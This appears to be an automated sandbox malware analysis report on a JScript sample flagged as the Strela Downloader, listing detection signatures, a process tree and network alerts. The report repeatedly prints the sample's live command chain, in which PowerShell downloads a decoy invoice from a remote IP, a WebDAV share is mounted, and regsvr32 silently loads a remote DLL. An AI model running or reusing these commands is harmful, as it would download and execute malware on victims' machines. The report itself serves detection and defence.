Edit tour

Windows Analysis Report
2305511452193571644.js

Overview

General Information

Sample name:	2305511452193571644.js
Analysis ID:	1588216
MD5:	6a8175098bbdbb581b94596f7e09ddd8
SHA1:	07a174b52bf74e525af4c23a2c2fdb202c336f6d
SHA256:	4665d1427789a527e72ce724b7f90287229aaa3513352584b65bf4cedb9610f6
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7616 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7708 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7760 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7964 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8180 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6032 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1636,i,16369455993486761657,17665433984222160941,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7980 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8080 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

conhost.exe (PID: 7948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7616	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7760, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7760, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", ProcessId: 7616, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8080, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", ProcessId: 7616, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7760, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7980, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8080, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7316, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7980, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8080, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 7708, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:44:03.514080+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:44:00.796694+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2305511452193571644.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2305511452193571644.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:44:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

